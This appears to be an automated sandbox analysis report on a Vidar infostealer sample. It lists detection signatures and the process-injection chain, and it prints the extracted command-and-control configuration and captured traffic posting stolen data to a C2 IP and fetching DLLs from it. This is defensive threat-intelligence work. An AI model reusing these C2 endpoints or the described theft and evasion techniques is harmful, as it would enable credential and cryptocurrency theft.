Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1442218
MD5:	b580ff2d001291bf58bdd23a058ef21b
SHA1:	5013dc6e38bd9d1cbe2f7fc0d983b6812f3f2351
SHA256:	80994b791b545ba6a8c906e046ab6ae79c5875a4f42da07085113b4b6f22f8ca
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Opens network shares

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6856 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B580FF2D001291BF58BDD23A058EF21B)

conhost.exe (PID: 6860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3272 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5984 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 2860 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GHIJJEGDBFII" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2116 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199686524322"], "Botnet": "9ed287469c3721fd5caf346580b2cf0d", "Version": "9.7"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6856	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6856	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5984	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5984	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5984	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.70aac0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.70aac0.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
3.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
0.2.file.exe.70aac0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.70aac0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
0.2.file.exe.6e0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.6e0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x49cb0:$s1: JohnDoe 0x49ca8:$s2: HAL9TH
Click to see the 5 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.co	Sophos S4: Label: illegal phishing domain
Source: https://95.217.240.101/nss3.dll	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/nss3.dll2	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/freebl3.dll	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/msvcp140.dllU	Avira URL Cloud: Label: malware
Source: https://95.217.240.101	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/freebl3.dlls	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/msvcp140.dll	Avira URL Cloud: Label: malware
Source: https://steamcommunity.co	Avira URL Cloud: Label: phishing
Source: https://t.me/k0mono	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199686524322/badges	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199686524322/inventory/	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/mozglue.dll	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/softokn3.dllK	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/sqlx.dll	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199686524322	Avira URL Cloud: Label: malware
Source: https://95.217.240.101/v	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199686524322"], "Botnet": "9ed287469c3721fd5caf346580b2cf0d", "Version": "9.7"}

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E22BA FreeConsole,GetCurrentThreadId,PostQuitMessage,GetClipBox,CryptDecrypt,std::_Throw_Cpp_error,	0_2_006E22BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004062A5 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004062A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00406242 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00406242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004082DE memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,PK11_FreeSlot,lstrcat,	3_2_004082DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040245C memset,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	3_2_0040245C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410DAC CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00410DAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C6D6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C82A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6C82A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8244C0 PK11_PubEncrypt,	3_2_6C8244C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7F4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	3_2_6C7F4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C824440 PK11_PrivDecrypt,	3_2_6C824440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8725B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	3_2_6C8725B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C80E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	3_2_6C80E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C82A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	3_2_6C82A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C808670 PK11_ExportEncryptedPrivKeyInfo,	3_2_6C808670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C84A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	3_2_6C84A730

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.240.101:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F81B2 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_006F81B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	3_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	3_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

3_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199686524322

Source: global traffic

HTTP traffic detected: GET /profiles/76561199686524322 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 23.194.234.100 23.194.234.100

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 7081Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlx.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFIIDAKJDGDHIDAKJJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
